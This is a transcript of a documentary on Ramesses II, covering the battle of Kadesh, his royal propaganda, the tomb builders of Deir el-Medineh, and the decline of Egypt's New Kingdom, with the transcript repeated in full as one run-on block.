John Ray: In his inscriptions, he boasts of having something like 80 sons, and 60 daughters - although the number of daughters is vaguer than the number of sons. But he boasts of a huge offspring and he is rather like one of those modern dictators who are known as father of their country - in many cases literally.
Narrator: Confident that he had produced an heir, Ramesses turned with renewed vigour to his building programme. Soon the Nile Valley began to overflow with monuments dedicated to Egypt's greatest king.
Nicole Douek: When Ramesses built, he built big. It is enormous. It is on a scale that has never really been seen in Egypt.
Narrator: Everywhere, Ramesses' title could be seen carved into rock. There were hieroglyphs that read, "Ruler of Rulers".
John Ray: Practically every town in Egypt gets its temple either rebuilt, or refounded or revamped. Ramesses isn't modest. If he sees a rather nice monument, let's say an obelisk put up by a previous king, he puts his own names all over the obelisk as well.
Narrator: Where great temples already existed, such as the one at Luxor, Ramesses simply erected a new entrance with four statues of himself to claim the temple as his own. At Karnak, Egypt's holiest temple, all the pharaohs of the New Kingdom had built monuments, but Ramesses soon outdid them all. In the great hypostyle hall begun by his grandfather, Ramesses ordered a work of awesome proportions. An army of artisans carved a field of 134 columns in the shape of papyrus. Each column stood 69 feet tall, 6 feet wide, and weighed over a hundred tons. The Greeks, the Romans, even Napoleon would one day attempt to emulate its grandeur.
Nicole Douek: It doesn't seem to be the work of human beings it is on such a scale. It looks as though it is very much part of the personality of the man who has to prove a point. He's always scoring points over everybody else.
Narrator: Through propaganda, diplomacy and a building programme that humbled his rivals, Ramesses had finally become the legend he had set out to create. The boy king, born a commoner, was truly Ramesses the great. But at the height of his reign, just when his empire seemed stronger than ever, tragedy struck. His chief wife, Nefertari died. Ramesses had her body sealed in her exquisite tomb. After Nefertari died, Ramesses completed the ultimate tribute to his wife. In an audacious act, Ramesses turned two entire mountains into temples. Side by side, one dedicated to himself and one to his wife Nefertari. Abu Simbel was not intended simply as a memorial to Nefertari. He had chosen the location of the temples carefully.
Nicole Douek: The two temples at Abu Simbel are another piece of the propaganda exercise of Ramesses. They are situated at the southernmost border of Egypt, to indicate the power of Egypt to people living further south. It shows to everybody you can't really mess around with the Egyptian kings.
Narrator: Here, overlooking the Nile 3,000 years later, Ramesses still stands beside the woman he once called "The one for whom the sun shines". Nefertari left Ramesses an important legacy - sons to rule Egypt after his death. But the long life that had been the pharaoh's greatest blessing was now fast becoming his curse. While he lived on, his children began to die. One by one, he groomed 12 of his heirs for power. He named each as Crown Prince only to watch them die. While bereavements wore down the old king, Ramesses made sure that the world still only heard of his successes. Tales of his greatness were manufactured at a new temple the pharaoh had built for himself, the Ramessium. Behind the temple, sanctuary was the intellectual heart of the empire, the House of Life. The scribes who worked here were responsible for carefully crafting the image Ramesses projected to the world. They composed the texts glorifying the pharaoh. They managed his campaign funds, and they were the designers of his buildings and monuments. The House of Life was Ramesses ministry of propaganda. Its task was to create and exploit the larger than life image of their king.
Professor Antonio Loprieno: They were masterminding the royal presentation of pharaoh as this superhuman hero. They were image-makers, or spin doctors, as we would say in modern terminology. They would use traditional knowledge and apply it to the promotion of a particular individual, in this case of King Ramesses II.
Narrator: All of this knowledge was written on rolls of papyrus and stored in the House of Life.
John Ray: The temple library might have contained 10,000 papyrus works. Some of them were copied from books that were already 2,000 years old when Ramesses was on the throne of Egypt. It would have been a storehouse of intellectual wisdom.
Narrator: This library of knowledge would not have been possible without the invention of papyrus. The papyrus plant that grew along the Nile provided a medium to record Egypt's knowledge. The papyrus scrolls that filled the House of Life gave Egypt a recorded history. Ramesses' scribes continued to build the image of the pharaoh as a strong and vibrant warrior king. The reality however was, that by 1213 BC, the 93-year-old king was ailing.
Professor Kent Weeks: At the end of his life, he was in rather frail condition. He had lost his teeth. He had dental abscesses. He had curvature of the spine and scoliosis - numerous problems. He must have been in great pain. This is a terrible thing for a man, who, in his younger days was strong, virile, very muscular and very enthusiastic.
Narrator: At the end of that year preparations were under way to celebrate Ramesses' 67th year in power. The ordinary people of Egypt could have been forgiven for thinking that he would live forever. Yet they were wrong. Just before the celebrations began, news broke that Ramesses the Great was dead.
Professor Kent Weeks: The death of Ramesses must have been so traumatic. Most of the people of Egypt had never known another king. Probably not more than a few dozen people could remember what happened before Ramesses had ascended the throne. This could be the end of the universe. The sun may stop rising, the moon waxing and waning, the Nile won't rise. It must have been panic time. This is truly an important event, and nobody knows quite what to do.
Narrator: The frail body of Ramesses that rests in the Cairo museum today bears little resemblance to the heroic figure carved on nearly every temple facade along the Nile. The small, shrivelled corpse with tufts of red hair was the man who cast his shadow over Egyptian history. Every pharaoh who followed would strive to recreate his greatness.
Nicole Douek: The legacy of Ramesses the Great is that everybody tried to be like him. It is the name of Ramesses that they take on. So from Ramesses II, the one we know, the great one, we go on a whole series of Ramesses until Ramesses XI. But they are all Ramesses of a minor scale. They are nothing that can be compared to Ramesses II.
Narrator: Through sheer determination and the power of his personality, Ramesses had maintained the empire for over half a century. He had assumed that his legacy would last forever. The world was changing, and within a generation, Ramesses' legacy was in peril. At the edges of the empire, city after city began to fall under pressure from the invading hoards. Well armed, aggressive and dangerous, these foreigners arrived by ship and decimated everyone in their sight. Ancient texts refer to them only as the Sea People. Eventually the Sea People even destroyed the powerful Hittite empire. With its greatest ally gone, Egypt itself was now vulnerable.
Reconstruction voiceover: "No country could withstand their onslaught, the Hittite land was the first to fall, and then they came onwards armed towards Egypt itself."
Narrator: The fading reliefs on the walls of this Egyptian temple are the only record that remains of the Sea People. Yet they were changing the whole political structure of the ancient world. The Sea People were attacking the edges of the empire. Allies were lost and trade routes blocked. Egypt's once vibrant economy began to falter and now problems within Egypt began to mount. Ramesses' successors expected the same standards of craftsmanship from their builders as during the reign of the great king. But they no longer had the means to finance these great works.
Professor Antonio Loprieno: The Egyptian state was living as if it was still the time of Ramesses II. But what is important here is that it was not the time of Ramesses II. It was not the time of Ramesses II internationally and it was not the time internally. Egypt had begun to crumble.
Narrator: The government couldn't even pay its elite craftsmen at Deir el-Medineh.
Professor Kent Weeks: There came to be a frustration with the Egyptian administration. Promises are made, and then broken. Promises are made and then forgotten, and of course, as usual, it is the little man who suffers.
Narrator: The tomb workers faced starvation. Putting down their tools, the villagers went on strike - the first recorded industrial strike in history.
Reconstruction voiceover: "We have no clothes, no oil, no fish and no vegetables. Send a message to our good lord the pharaoh asking for them, and send another message to our boss telling him to provide us with emergency rations."
Professor Kent Weeks: The little people wouldn't take it any more. They did go on strike, and they did protest at not being paid. It didn't do them much good. At least for a couple of months, they had to make several protests, but additionally they went off in search of treasure to try to pay their bills, if you will.
Narrator: In desperate circumstances the tomb builders did the unthinkable. They knew the secret location of the royal tombs, and now they betrayed the pharaohs of the New Kingdom and violated their sacred burial chambers. Even the tomb of Ramesses the great did not escape desecration. The confessions beaten out of the few that were caught allow us a glimpse of the magnificent treasure they found.
Reconstruction voiceover: "We fetched our copper picks, and tunnelled into this royal tomb. We discovered the king's mummy lying at the back of the tomb. It was covered with gold from head to toe. The mummy cases were also lined with silver and gold, inside and out. And they were studded with all sorts of precious stones. We tore off the gold, took the amulets and jewellery. We split the gold we had found into equal shares, and then we sailed back across the river to Thebes. "
Narrator: By 1080 BC, most of the treasures buried with the pharaohs had been plundered. The mountain of gold had been stripped bare. The same people who had built the royal tombs had desecrated them. The very men who had assisted the pharaohs in their quest for immortality had taken it away. As order broke down within Egypt, the empire finally collapsed. States in the Near East were no longer loyal to the Egyptian pharaoh. Even Nubia seized their chance for independence, cutting Egypt's last lifeline - its access to gold.
Nicole Douek: The loss of Nubia meant the loss of gold and the loss of gold means that you do not have any clout on the international political scene. So other people are going to become the dominant ones and Egypt becomes a little bit of a backwater.
Narrator: In a final humiliating act, the priests of Karnak were forced to perform a sorry duty. They gathered together 40 royal mummies from the desecrated tombs and carried them to secret locations where they might finally find peace; Ahmose founder of the New Kingdom, Tuthmosis lll, warrior and empire builder - Even Ramesses the last great pharaoh. Once they had been treated like gods: now their bodies were piled up in caves in a mountainside where they would rest for 3,000 years. It seemed that Ramesses' struggle for immortality had been in vain. Less than 200 years after the end of his reign, the empire had fallen. And with the death of Ramesses XI, the Ramessite dynasty became extinct. The New Kingdom was over.
Professor Antonio Loprieno: During the New Kingdom, Egypt became this mixture of reality and fiction that has always represented the most fascinating aspect of their civilisation. It is the reality of a very powerful and successful empire, but also the fiction of a display of power that goes well beyond that reality.
Nicole Douek: All the other empires of the ancient world tried to emulate Egypt. From the Assyrians, to the Persians, the Greeks and the Romans, you always look back to the greatest empire of all - which is the empire of Egypt. Everybody wants to be like the Egyptian pharaohs.
Narrator: Today millions still come to pay tribute to the pharaohs. Some 3,000 years later, Egypt's Golden Empire is still conquering the imagination of the world.
ENDS
Where to next:
Keith David - Narrator: For over 3,000 years Egypt was ruled by Pharaohs. But in that last sweep of time, one pharaoh stands out. He would reign for 67 years, command the largest empire on earth and capture the imagination of the world. His name was Ramesses. Ramesses built a reputation that has resounded through history. It was a reputation deliberately crafted by the pharaoh himself. Ramesses was in fact a master of propaganda, projecting his power beyond the battlefield across the ancient world.Narrator: This is the story of how one man created his own legend. The legend of Ramesses the Great, and how in the end, not even a legendary pharaoh could save Egypt's Golden Empire from destruction.Narrator: In 1327 BC, a tragic event brought Egypt to the verge of crisis. The Pharaoh Tutankhamen had died. His death marked the end of Egypt's most powerful dynasty and the beginning of a period of great uncertainty. A great deal was at stake. In just two centuries, Egypt's royal family had built a massive empire stretching far beyond the Nile: from Syria in the north, to the gold fields of Nubia (modern day Sudan) in the south. A succession of powerful pharaohs had made Egypt the richest and most powerful nation in the world.Nicole Douek, London University: When Tutankhamen died, the big problem was that there was no heir to the throne. So obviously Egypt must have been in a bad state. There was nobody there to take over, and things were in a state of flux.Narrator: But now with the end of the great dynasty, a new enemy had emerged to challenge Egypt's might: the Hittites. The Hittites, living in what is now Turkey, were a more technologically advanced power than Egypt. Already they were pushing against the northern border of Egypt's empire. In 1279 BC, the fate of the threatened empire became the responsibility of a young boy, the new pharaoh of Egypt. He was crowned Ramesses, meaning 'Offspring of the Re'.John Ray, Cambridge University: Ramesses comes to the throne fairly young, probably about the age of 15, and he has got an enormous task ahead of him. He looks back over the history of his country, a hundred years or so earlier, there were kings who would be the epitome of wealth, power and good taste. That's an enormous legacy to have to live up to.Narrator: Ramesses had not come from a royal background. In fact, the boy king had been born a commoner.Nicole Douek: His family was a military family, who were fairly new on the throne. They were certainly not from the royal line. They lived and worked for the kings of Egypt but they did not belong to the royal family.Narrator: It was military prowess that had won his family its place on the throne. And it would be through military action that the young Ramesses would have to prove himself. To the north of Egypt, the Hittites were preparing for war. They intended to take advantage of the young and inexperienced boy king. Ramesses was about to face the biggest challenge of his life.Nicole Douek: You have two super powers, each one trying to grab bits from the other. Eventually they are going to clash.Narrator: By the fifth year of his reign, the massive Hittite army moved into Egypt's territory, advancing towards the town of Kadesh. The crossroads for trade with the near east Kadesh was of extreme strategic importance.Professor Antonio Loprieno, University of California, Los Angeles: Ramesses II realises that the battle for the eye of Kadesh is the battle that will eventually decide which of these two empires will be the leaders of the world in the entire 13th century.Narrator: Here was the opportunity Ramesses had been waiting for. It was a chance to prove his power and might to the world. There was only one problem. Egypt was not ready for war. Ramesses needed an army quickly. He mobilised, not just Egyptian soldiers, but other subjects of his empire including Nubians and Libyans. The primitive bronze weapons of the Egyptian forces were soon to be pitted against the Hittites iron armoury. The odds didn't look good.Professor Kent Weeks, American University Cairo: I can't imagine what it must have been like to be a soldier in pharaoh's army. First, in all likelihood, you don't want to be there. You've been conscripted. Second, you're rather poorly fed, you're rather poorly clothed, you have a spear, or if you're lucky a bow and arrow, and that's it. You are expected to give your all.Narrator: Soon the army was ready. The pharaoh's scribes also came along to record what the pharaoh was confident would be a glorious victory.John Ray: He had the self-confidence that can go with being young. He thought that everything was doable. He thought that problems would not exist. He probably thought that compromises would not need to be made. You could just go out, do it and get it.Narrator: Finally, the 20-year-old king set off with his army, leading an advanced guard out of the lush Nile Delta, into the scorching heat of the Sinai Desert. The figure he cut at the helm of his army was impressive.Professor Kent Weeks: I can imagine that he had a great deal of power and authority. He was very strong and muscular. He was himself about 5 feet 8 or 9 inches tall. That is about four inches or so taller than the average Egyptian man. But he was taller nevertheless. He had red hair, which was a very unusual feature in ancient Egypt, and it set him apart.Narrator: The Egyptian army surged across the desert through Israel and Lebanon. A few miles from Kadesh, Ramesses and his advance guard made camp and waited for the rest of the army to catch up.Professor Kent Weeks: When Ramesses established this camp, he obviously was not thinking that there was going to be a battle any time soon. This was a time to stop, have a picnic, talk about life in general, and wait. Maybe a week, two weeks, three weeks later, some kind of a battle would take place, which of course the Egyptians knew they would win.Narrator: But things weren't going to be so easy. We know from scribal accounts that the inexperienced pharaoh was about to be the victim of a dangerous trap.Professor Kent Weeks: There were two Bedouin in the desert who were brought in by the pharaoh's soldiers, and interrogated. Ramesses, or whoever, said, "Where is the king of the Hittites?" They said, "Oh, he's way off there, don't worry about him, he's far away."Narrator: What Ramesses didn't realise was that his informants were Hittite spies sent to mislead him.Professor Kent Weeks: They released them, sent them off and said, "Oh great, let's set up camp and relax. We've got plenty of time before the battle begins."Narrator: The pharaoh had fallen for a simple trick.Professor Kent Weeks: Ramesses goofed seriously and badly to have taken those two Bedouins at their word. To have avoided sending out scouts to check the veracity of what they were saying, I think, was a terrible military mistake.Narrator: Egyptian soldiers captured two more spies. This time, when Ramesses had them beaten and interrogated, he got a very different story. The Hittites were not hundreds of miles away. They were just across the river, ready to attack. In panic, the pharaoh sent word back for reinforcements. Suddenly the Hittites attacked. Ramesses' scribes left an eyewitness account of the battle.Reconstruction voiceover: "The Hittite wretch, with his army, forded the river south of Kadesh, smashing into his majesty's army when it least expected an attack."Professor Kent Weeks: The dust, the choking dust, the blood pouring onto the desert sands, these soldiers who looked death in the face at every moment in one of these battles must have had absolute hell.Narrator: Egyptian troops fell before the Hittites' iron weapons. The army stood on the brink of defeat. Then, at the last minute, Ramesses' reinforcements arrived, and took the Hittites by surprise.John Ray: Ramesses has been unbelievably lucky. And he ends up at the end of the day holding the battlefield. Actually, it was something of a goalless draw, snatched from defeat at the last minute by the arrival of the Egyptian equivalent of the US Cavalry.Narrator: Ramesses had failed in his mission. The Hittites would be back and Egypt's trade routes and empire were still vulnerable.Professor Antonio Loprieno: The battle of Kadesh did not go according to plan. At the most, it was a way for the Egyptians to prevent the Hittites from moving further south. But it was certainly not the flamboyant victory that Ramesses wanted.Narrator: Ramesses, however, was determined to have his victory. Back in Egypt he would tell a far different story of the battle of Kadesh.John Ray: What Ramesses does is say, "Right I'm going to rewrite history, so it's going to be the big gesture, the vain glorious boast. It's going to be the huge publicity machine. It's going to be the hieroglyphic equivalent of spin doctoring."Narrator: Ramesses now masterminded an extraordinary propaganda campaign. He sent out legions of artisans to carve epic depictions of the battle of Kadesh on temple walls around the empire. The story he told begins truthfully but then veers off into fantasy. The young king claimed he had won a clear victory at Kadesh and it was not the Egyptian reinforcements, but he himself, who all alone had saved the day. In his version, he transformed himself from a gullible inexperienced commander into a god-like warrior. Every temple wall carried the same story.Reconstruction voiceover: "His majesty leapt up, waging against them. He grabbed his weapons, and set off at a gallop, completely alone. His majesty was an unstoppable fighting force. Everything near him was ablaze with fire. All the foreign lands were blasted by his scorching breath.Professor Kent Weeks: He claims that single-handedly after his troops had deserted him, he went into the field of battle slashing, swaying his sword back and forth, and decimating the enemies of Egypt.Reconstruction voiceover: "He charged straight into the Hittite troops. The infantry and charioteers fell on their faces. His majesty struck them down and killed them where they stood."Professor Kent Weeks: The claims of Ramesses II that his army had totally abandoned him, that he was left alone on a field of battle and single-handedly defeated the Hittites, of course is an utter load of rubbish.Narrator: Despite his boasting, Ramesses knew that his army could not defeat the Hittites. He had to cut a deal. Secretly, Ramesses began to negotiate with the Hittites. After lengthy debate, Ramesses signed a treaty with the Hittite king. Ramesses the spin doctor was now Ramesses the statesman. A copy of the treaty is still preserved in the most holy of temples at Karnak, chiselled onto a wall.Reconstruction voiceover: "I the great Hittite ruler am at peace with Ramesses the great King of Egypt, and enjoy his brotherhood. All the people of Egypt and all the Hittite people will be at peace like us forever."Narrator: Covering issues of royal succession, extradition and amnesty for refugees, the treaty remains a model that is still followed today.John Ray: Here you have the two super-powers of the day sitting down around a table and saying what we need to do is to build up a lasting peace - to build up an alliance that will mutually benefit both sides.Narrator: To seal the treaty, Ramesses married one of the Hittite king's daughters.John Ray: The Hittite princess was part of the terms of the peace treaty. She was, if you like, the cement in the treaty. She is brought into the presence of Ramesses and therefore by extension into the Egyptian empire.Narrator: The Hittite princess was brought to Egypt's new capital, located in the Nile Delta in northern Egypt. It was called Per Ramesses, meaning the House of Ramesses. Far from the old aristocracy's centre of power in Thebes, Per Ramesses was carefully situated in the north to keep an eye on the Hittites. It was to be a new capital for a new regime.John Ray: This is the Brasilia of ancient Egypt. This was the new capital. This was something that was going to be the beginning of a regeneration of the country. He is saying, "I am a new man, this is a new Egypt, and the traditional aristocracy had just better come to terms with this."Narrator: On the banks of the Nile, Ramesses adorned his capital with all the treasures the empire had to offer. Eyewitnesses tell of the lushness and opulence unsurpassed in Egypt.Reconstruction voiceover: "I have reached Per Ramesses. It seems like an amazing place - a beautiful area unlike any other. Its pools are alive with fish, and its lakes are covered in ducks. Its gardens are lush with vegetation. From the riverbanks, comes fruit as sweet as honey. Everyone who lives there is happy, and no one has any regrets. Even the lowliest person there lives in style."Narrator: Not content with glorifying himself in this world, Ramesses turned his attention to the afterlife. Far from Per Ramesses, deep in the south of Egypt was a place dedicated to securing his immortality. Hidden behind the mountain that looms over the Valley of the Kings, was the carefully guarded village of Deir el-Medineh.John Ray: They lived in a self-contained community that was quite tightly policed because they had secrets, which were not meant to be divulged to the public at large. The workers can be watched on their journey from the village to their point of work, therefore they can't be accosted. They can't be asked for information.Narrator: This security was vital, because these villagers were the pharaohs' tomb builders. They held the key to the greatest secrets of the empire - the locations of the royal tombs. Buried in the hills around them lay the treasures of the richest and most powerful kings in history. The mountain, which the tomb builders climbed over to work each day was literally a mountain of gold. At work, these men not only dug the pharaoh's tombs out of the mountain, they also were designers, artists and painters. They produced exquisite scenes and hieroglyphic texts on tomb walls - spells and rituals that were essential for guiding the pharaoh to the afterlife.Professor Kent Weeks: What could be more important? After all, you were ensuring that the pharaohs would be able to travel from this life to the next. One mistake in those hieroglyphic texts, one error in those scenes and there might have to be a detour - and the king wouldn't make it from this life to the next.Narrator: But Ramesses did not intend to spend the afterlife alone. The greatest grip of the villagers at Deir el-Medineh was not in Ramesses' own tomb, but in the tomb of the most important woman in his life. In 1312, Ramesses married an Egyptian noblewoman, Nefertari, and made her his chief wife. For Ramesses, the building of her tomb was to be the ultimate tribute to his greatest love.Nicole Douek: It is really the very best, possibly the last of the marvellous tombs of ancient Egypt. The reliefs, the finest of the drawings, the ways the colours were applied, almost indicates a love affair between the man who did it, and the figure of the queen.Reconstruction voiceover: "My love is unique; no one can rival her, for she is the most beautiful woman alive...Gold is nothing compared to her arms, and her fingers are like the lotus flowers. Her buttocks are full, but her waist is narrow. Just by passing, she has stolen away my heart".Nicole Douek: The tomb is decorated in the most exquisite taste of the time. Some snippets of life then have appeared now. They discovered a thumb imprint of one of the ancient workmen. He must have held his hand to the ceiling while he was painting, took his fingers away and forgot to repaint and retouch that part. So there is the fingerprint of one of the ancient workmen still there.Narrator: The villagers who once walked these streets have left an incredibly detailed picture of daily life during the reign of Ramesses. Written on stone flakes and pottery chards that littered the remains of the village, archaeologists have found the tomb builders' notes and correspondence. Laundry lists, recipes, news, poems and love letters.Professor Kent Weeks: It is an archaeological goldmine - a cultural goldmine. The people of Deir el-Medineh were inveterate record keepers. They kept tabs on everything, and they left it behind on ostraca, the ancient Egyptian equivalent of a 'post-it' note I suppose. These records are about who was ill on which day and who was going on holiday. They covered when the in-laws were coming to visit; whose son went out carousing, got drunk and did unspeakable things to the girl next door. All of this kind of thing is there, and in glorious, wonderful details.Reconstruction voiceover: "Why are you treating me so badly? I'm no better than a donkey in your eyes."Reconstruction voiceover: "If, God forbid, I was the type who couldn't hold their drink, then you'd be right not to invite me, but I'm just someone who's a bit short of beer in his own house."Reconstruction voiceover: "When it's feeding time you fetch an ox, but when there's beer you never invite me. You're only after me when there's work to be done."Narrator: When they weren't working on the royal tombs, the villagers used their unique skills on their own tombs. Instead of the formal religious scenes of the royal tombs, their tombs portrayed pictures of the afterlife that the tomb builders hoped for. These were idealised versions of everyday life.John Ray: In their spare time, the family would make their own tomb and add to the decoration. Probably at dinner parties, the question would be "How is the tomb getting on then?"Narrator: From the paintings and writings left behind by Ramesses' villagers, we know who lived in each house and even the intimate details of their relationships. Nowhere else in the ancient world can we listen to ordinary people and eavesdrop on their scandals and gossip.John Ray: There was a foreman called Paneb, whom we know a lot about because we have a whole series of complaints about him. He did various things. He stole equipment from the Valley of the Kings. He embezzled the salary of some of his colleagues. He went around seducing the wives of villagers - presumably, when the villagers were out at work.Narrator: Even Paneb's own son denounced him for his behaviour.Reconstruction voiceover: "My father slept with Tiy while she was married to Kenna and with Hunro when she was with Paneb; after he had slept with Hunro, he even slept with her daughter."Professor Kent Weeks: These people at Deir el-Medineh quite clearly are human beings. To read what they are writing, to see what they are doing - what they have in their homes, what kinds of drawings they have made, is to realise that we and they are truly kindred spirits.Reconstruction voiceover: "You've been arguing with my mother and threatening to throw her out. Your mother never does anything for you."Reconstruction voiceover: "I didn't tell you just what your wife has been up to, just for you to turn a blind eye to it. I'm going to make you face up to her whoring around."Reconstruction voiceover: "Well, you told me to give him a job. I did exactly that, but he takes ages to bring a jug of water."Reconstruction voiceover: "...You can't even get your wife pregnant. And another thing, you're the biggest miser around, you never give anyone anything."Narrator: By the time Ramesses was in his forties, his tomb had been finished for several years. With the average Egyptian life expectancy at around 35 years, Ramesses must have known that he was already living on borrowed time. He focused his attention on securing his legacy, siring children to succeed him on the golden throne. As well as his chief wife, Nefertari, Ramesses had a number of minor wives in his harem. He even married three of his own daughters.John Ray: In his inscriptions, he boasts of having something like 80 sons, and 60 daughters - although the number of daughters is vaguer than the number of sons. But he boasts of a huge offspring and he is rather like one of those modern dictators who are known as father of their country - in many cases literally.Narrator: Confident that he had produced an heir, Ramesses turned with renewed vigour to his building programme. Soon the Nile Valley began to overflow with monuments dedicated to Egypt's greatest king.Nicole Douek: When Ramesses built, he built big. It is enormous. It is on a scale that has never really been seen in Egypt.Narrator: Everywhere, Ramesses' title could be seen carved into rock. There were hieroglyphs that read, "Ruler of Rulers".John Ray: Practically every town in Egypt gets its temple either rebuilt, or refounded or revamped. Ramesses isn't modest. If he sees a rather nice monument, let's say an obelisk put up by a previous king, he puts his own names all over the obelisk as well.Narrator: Where great temples already existed, such as the one at Luxor, Ramesses simply erected a new entrance with four statues of himself to claim the temple as his own. At Karnak, Egypt's holiest temple, all the pharaohs of the New Kingdom had built monuments, but Ramesses soon outdid them all. In the great hypostyle hall begun by his grandfather, Ramesses ordered a work of awesome proportions. An army of artisans carved a field of 134 columns in the shape of papyrus. Each column stood 69 feet tall, 6 feet wide, and weighed over a hundred tons. The Greeks, the Romans, even Napoleon would one day attempt to emulate its grandeur.Nicole Douek: It doesn't seem to be the work of human beings it is on such a scale. It looks as though it is very much part of the personality of the man who has to prove a point. He's always scoring points over everybody else.Narrator: Through propaganda, diplomacy and a building programme that humbled his rivals, Ramesses had finally become the legend he had set out to create. The boy king, born a commoner, was truly Ramesses the great. But at the height of his reign, just when his empire seemed stronger than ever, tragedy struck. His chief wife, Nefertari died. Ramesses had her body sealed in her exquisite tomb. After Nefertari died, Ramesses completed the ultimate tribute to his wife. In an audacious act, Ramesses turned two entire mountains into temples. Side by side, one dedicated to himself and one to his wife Nefertari. Abu Simbel was not intended simply as a memorial to Nefertari. He had chosen the location of the temples carefully.Nicole Douek: The two temples at Abu Simbel are another piece of the propaganda exercise of Ramesses. They are situated at the southernmost border of Egypt, to indicate the power of Egypt to people living further south. It shows to everybody you can't really mess around with the Egyptian kings.Narrator: Here, overlooking the Nile 3,000 years later, Ramesses still stands beside the woman he once called "The one for whom the sun shines". Nefertari left Ramesses an important legacy - sons to rule Egypt after his death. But the long life that had been the pharaoh's greatest blessing was now fast becoming his curse. While he lived on, his children began to die. One by one, he groomed 12 of his heirs for power. He named each as Crown Prince only to watch them die. While bereavements wore down the old king, Ramesses made sure that the world still only heard of his successes. Tales of his greatness were manufactured at a new temple the pharaoh had built for himself, the Ramessium. Behind the temple, sanctuary was the intellectual heart of the empire, the House of Life. The scribes who worked here were responsible for carefully crafting the image Ramesses projected to the world. They composed the texts glorifying the pharaoh. They managed his campaign funds, and they were the designers of his buildings and monuments. The House of Life was Ramesses ministry of propaganda. Its task was to create and exploit the larger than life image of their king.Professor Antonio Loprieno: They were masterminding the royal presentation of pharaoh as this superhuman hero. They were image-makers, or spin doctors, as we would say in modern terminology. They would use traditional knowledge and apply it to the promotion of a particular individual, in this case of King Ramesses II.Narrator: All of this knowledge was written on rolls of papyrus and stored in the House of Life.John Ray: The temple library might have contained 10,000 papyrus works. Some of them were copied from books that were already 2,000 years old when Ramesses was on the throne of Egypt. It would have been a storehouse of intellectual wisdom.Narrator: This library of knowledge would not have been possible without the invention of papyrus. The papyrus plant that grew along the Nile provided a medium to record Egypt's knowledge. The papyrus scrolls that filled the House of Life gave Egypt a recorded history. Ramesses' scribes continued to build the image of the pharaoh as a strong and vibrant warrior king. The reality however was, that by 1213 BC, the 93-year-old king was ailing.Professor Kent Weeks: At the end of his life, he was in rather frail condition. He had lost his teeth. He had dental abscesses. He had curvature of the spine and scoliosis - numerous problems. He must have been in great pain. This is a terrible thing for a man, who, in his younger days was strong, virile, very muscular and very enthusiastic.Narrator: At the end of that year preparations were under way to celebrate Ramesses' 67th year in power. The ordinary people of Egypt could have been forgiven for thinking that he would live forever. Yet they were wrong. Just before the celebrations began, news broke that Ramesses the Great was dead.Professor Kent Weeks: The death of Ramesses must have been so traumatic. Most of the people of Egypt had never known another king. Probably not more than a few dozen people could remember what happened before Ramesses had ascended the throne. This could be the end of the universe. The sun may stop rising, the moon waxing and waning, the Nile won't rise. It must have been panic time. This is truly an important event, and nobody knows quite what to do.Narrator: The frail body of Ramesses that rests in the Cairo museum today bears little resemblance to the heroic figure carved on nearly every temple facade along the Nile. The small, shrivelled corpse with tufts of red hair was the man who cast his shadow over Egyptian history. Every pharaoh who followed would strive to recreate his greatness.Nicole Douek: The legacy of Ramesses the Great is that everybody tried to be like him. It is the name of Ramesses that they take on. So from Ramesses II, the one we know, the great one, we go on a whole series of Ramesses until Ramesses XI. But they are all Ramesses of a minor scale. They are nothing that can be compared to Ramesses II.Narrator: Through sheer determination and the power of his personality, Ramesses had maintained the empire for over half a century. He had assumed that his legacy would last forever. The world was changing, and within a generation, Ramesses' legacy was in peril. At the edges of the empire, city after city began to fall under pressure from the invading hoards. Well armed, aggressive and dangerous, these foreigners arrived by ship and decimated everyone in their sight. Ancient texts refer to them only as the Sea People. Eventually the Sea People even destroyed the powerful Hittite empire. With its greatest ally gone, Egypt itself was now vulnerable.Reconstruction voiceover: "No country could withstand their onslaught, the Hittite land was the first to fall, and then they came onwards armed towards Egypt itself."Narrator: The fading reliefs on the walls of this Egyptian temple are the only record that remains of the Sea People. Yet they were changing the whole political structure of the ancient world. The Sea People were attacking the edges of the empire. Allies were lost and trade routes blocked. Egypt's once vibrant economy began to falter and now problems within Egypt began to mount. Ramesses' successors expected the same standards of craftsmanship from their builders as during the reign of the great king. But they no longer had the means to finance these great works.Professor Antonio Loprieno: The Egyptian state was living as if it was still the time of Ramesses II. But what is important here is that it was not the time of Ramesses II. It was not the time of Ramesses II internationally and it was not the time internally. Egypt had begun to crumble.Narrator: The government couldn't even pay its elite craftsmen at Deir el-Medineh.Professor Kent Weeks: There came to be a frustration with the Egyptian administration. Promises are made, and then broken. Promises are made and then forgotten, and of course, as usual, it is the little man who suffers.Narrator: The tomb workers faced starvation. Putting down their tools, the villagers went on strike - the first recorded industrial strike in history.Reconstruction voiceover: "We have no clothes, no oil, no fish and no vegetables. Send a message to our good lord the pharaoh asking for them, and send another message to our boss telling him to provide us with emergency rations."Professor Kent Weeks: The little people wouldn't take it any more. They did go on strike, and they did protest at not being paid. It didn't do them much good. At least for a couple of months, they had to make several protests, but additionally they went off in search of treasure to try to pay their bills, if you will.Narrator: In desperate circumstances the tomb builders did the unthinkable. They knew the secret location of the royal tombs, and now they betrayed the pharaohs of the New Kingdom and violated their sacred burial chambers. Even the tomb of Ramesses the great did not escape desecration. The confessions beaten out of the few that were caught allow us a glimpse of the magnificent treasure they found.Reconstruction voiceover: "We fetched our copper picks, and tunnelled into this royal tomb. We discovered the king's mummy lying at the back of the tomb. It was covered with gold from head to toe. The mummy cases were also lined with silver and gold, inside and out. And they were studded with all sorts of precious stones. We tore off the gold, took the amulets and jewellery. We split the gold we had found into equal shares, and then we sailed back across the river to Thebes. "Narrator: By 1080 BC, most of the treasures buried with the pharaohs had been plundered. The mountain of gold had been stripped bare. The same people who had built the royal tombs had desecrated them. The very men who had assisted the pharaohs in their quest for immortality had taken it away. As order broke down within Egypt, the empire finally collapsed. States in the Near East were no longer loyal to the Egyptian pharaoh. Even Nubia seized their chance for independence, cutting Egypt's last lifeline - its access to gold.Nicole Douek: The loss of Nubia meant the loss of gold and the loss of gold means that you do not have any clout on the international political scene. So other people are going to become the dominant ones and Egypt becomes a little bit of a backwater.Narrator: In a final humiliating act, the priests of Karnak were forced to perform a sorry duty. They gathered together 40 royal mummies from the desecrated tombs and carried them to secret locations where they might finally find peace; Ahmose founder of the New Kingdom, Tuthmosis lll, warrior and empire builder - Even Ramesses the last great pharaoh. Once they had been treated like gods: now their bodies were piled up in caves in a mountainside where they would rest for 3,000 years. It seemed that Ramesses' struggle for immortality had been in vain. Less than 200 years after the end of his reign, the empire had fallen. And with the death of Ramesses XI, the Ramessite dynasty became extinct. The New Kingdom was over.Professor Antonio Loprieno: During the New Kingdom, Egypt became this 